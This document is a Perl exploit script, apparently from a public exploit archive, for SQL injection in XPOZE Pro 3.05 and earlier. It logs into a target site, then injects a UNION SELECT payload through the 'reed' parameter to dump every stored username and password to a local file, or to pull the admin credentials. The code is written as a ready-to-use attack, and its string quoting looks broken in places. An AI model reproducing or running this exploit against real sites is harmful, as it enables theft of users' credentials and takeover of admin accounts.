XPOZE Pro <= 3.05 (reed) Remote SQL Injection Exploit#!/usr/bin/perl

# - XPOZE Pro <= 3.05 SQL Injection Exploit -
#     Coded And Discovered by t0pP8uZz

# Why a exploit? mainly to dump all users easyily.
# Lots of websites are reslling this script, so there is no suitable dork.

use strict;
use LWP::UserAgent;

print `-------------------------------------------------\n`;
print `-     XPOZE Pro <= 3.05 SQL Injection Exploit   -\n`;
print `-         Discovered &amp; Coded By t0pP8uZz        -\n`;
print `-     CipherCrew, h4ck-y0u.org, milw0rm.com     -\n`;
print `-------------------------------------------------\n\n`;

print `Enter URL (ie: http://xpoze.com/demo/): `;
	chomp(my $url = <STDIN>);

print `Enter Valid Username (register on target site first): `;
	chomp(my $user = <STDIN>);

print `Enter Valid Password (register on target site first): `;
	chomp(my $pass = <STDIN>);

print `Attack Type (enter 1 too dump all users, enter 2 too get admin details): `;
	chomp(my $type = <STDIN>);

my $ua = LWP::UserAgent->new( agent => 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)', cookie_jar => {} );
my $response = $ua->post($url, {'username' => $user, 'password' => $pass, 'login' => 'Submit'});

if($response->is_success()) {

	if($type == 1) {
	
		my $res = $ua->get($url.`/account/user/mail.html?reed=-1 UNION ALL SELECT 1,2,3,4,concat(0x3C313E,user,0x3a,pass,0x3C323E),6,7 FROM users/*`);
		(my @users) = $res->content =~ /<1>(.*?)<2>/g;
		
		open(FILE, `+>>C:\users.txt`) or die (`Error Writing Users To File!`);
		
		foreach $user (@users) {
			print FILE $user.`\r\n`;
			print $user.`\n`;
		}
		close FILE;
		print `Users Have Been Dumped To Local File 'C:\\users.txt'\n`;
		
	} elsif($type == 2) {
	
		my $res = $ua->get($url.`/account/user/mail.html?reed=-1 UNION ALL SELECT 1,2,3,4,concat(0x3C313E,user,0x3a,pass,0x3C323E),6,7 FROM users WHERE rank=0/*`);
		(my @users) = $res->content =~ /<1>(.*?)<2>/;
		
		my @user = split(/:/, $users[0]);
		
		print `\n\nAdmin Username: `.$user[0];
		print `\nAdmin Password: `.$user[1];
		print `\n\nDone!`;
		
	} else { print `Invalid Attack Type!`; exit; }
} else { print `Check username/password!`; exit; }
exit;

# milw0rm.com [2008-04-04]